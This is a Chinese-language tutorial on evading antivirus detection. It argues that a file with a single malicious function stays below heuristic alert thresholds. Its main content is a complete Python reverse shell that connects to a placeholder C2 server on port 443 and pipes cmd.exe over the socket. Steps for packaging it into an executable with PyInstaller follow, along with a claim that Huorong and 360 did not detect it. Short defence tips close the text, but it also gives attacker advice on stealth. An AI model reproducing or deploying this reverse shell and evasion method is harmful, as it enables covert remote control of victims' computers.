免杀初探(四)
字数 1014 2025-08-09 15:23:08
免杀初探(四):利用单一恶意功能绕过杀毒软件检测
前言
防病毒软件面临的核心问题之一是误报(假阳性检测)。如果防病毒软件对每个微小事件都发出警报,用户可能会放弃该软件而选择干扰更少的替代品。为解决这一问题,防病毒厂商提高了检测率,但这也为绕过检测创造了机会。
防病毒检测机制分析
现代防病毒软件通常采用多层检测机制:
- 静态签名检测:比对已知恶意软件特征
- 动态行为检测:监控程序运行时行为
- 启发式引擎:通过评分系统判断文件恶意程度
关键点在于:当文件只执行单个恶意功能时,防病毒软件的评分可能不足以触发警报。
绕过原理
启发式引擎的行为特性:
- 单个恶意功能可能不会使评分达到警报阈值
- 只有当多个恶意指标同时出现时才会判定为恶意
- 某些功能本身不一定是恶意的(如网络连接)
利用这一特性,我们可以:
- 将恶意功能拆分为单独的部分
- 避免同时触发多个检测指标
- 使用看似合法的功能掩盖恶意行为
Python实现示例
基本功能
创建一个连接到C2服务器的Python程序,实现远程命令执行:
import os, socket, sys
import threading as trd
import subprocess as sb
def sock2proc(s, p):
while True:
p.stdin.write(s.recv(1024).decode())
p.stdin.flush()
def proc2sock(s, p):
while True:
s.send(p.stdout.read(1).encode())
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while True:
try:
s.connect(("x.x.x.x", 443)) # C2服务器IP和端口
break
except:
pass
p = sb.Popen(["cmd.exe"], stdout=sb.PIPE, stderr=sb.STDOUT, stdin=sb.PIPE, shell=True, text=True)
trd.Thread(target=sock2proc, args=[s,p], daemon=True).start()
trd.Thread(target=proc2sock, args=[s,p], daemon=True).start()
try:
p.wait()
except:
s.close()
sys.exit(0)
编译为可执行文件
- 安装必要工具:
python.exe -m pip install --upgrade pip
pip install pyinstaller -i https://pypi.tuna.tsinghua.edu.cn/simple some-package
- 使用PyInstaller编译:
pyinstaller --onefile python.py
测试结果
- 火绒和360等防病毒软件可能不会检测
- 可成功执行远程命令
Java实现示例
基本程序
创建一个简单的Java GUI程序作为演示:
import java.util.Scanner;
import javax.swing.JOptionPane;
public class Test1 {
public static void main(String[] args) {
while(true) {
System.out.print("Please input:");
Scanner s = new Scanner(System.in);
String str = s.nextLine();
if("ByeBye".equals(str)) {
System.out.print("The process is over");
System.exit(0);
} else {
JOptionPane.showMessageDialog(null, "You input is "+str, str, JOptionPane.PLAIN_MESSAGE);
}
}
}
}
编译为JAR文件
- 编译Java文件:
javac .\Test1.java
- 创建JAR文件:
jar cvf Test1.jar Test1.class
- 解决主清单属性问题:
- 创建manifest.txt文件,内容为:
Main-Class: Test1 - 重新打包:
jar cmf manifest.txt Test1.jar Test1.class
- 创建manifest.txt文件,内容为:
转换为EXE文件
使用Launch4j工具:
- 选择Jar路径和输出exe路径
- 配置匹配的JRE路径和版本
- 保存.xml配置文件
关键总结
- 单一功能原则:只实现一个核心恶意功能,避免触发多个检测指标
- 功能选择:选择那些单独出现时不会被判定为恶意的功能
- 编译技巧:
- Python使用PyInstaller打包
- Java使用Launch4j转换为EXE
- 持久性考虑:这种绕过方法不是持久的,防病毒软件会更新检测规则
- 多层防御:即使绕过静态检测,仍可能被行为检测发现
防御建议
对于防御方:
- 不要依赖单一检测机制
- 监控网络异常连接
- 限制不明程序的执行权限
- 关注程序行为的上下文而不仅是单个功能
对于攻击方:
- 持续测试不同防病毒产品的检测能力
- 结合多种技术提高成功率
- 注意功能实现的隐蔽性
这种方法展示了防病毒软件启发式检测的局限性,但也提醒我们安全是一个持续的过程,需要不断更新和适应新的威胁。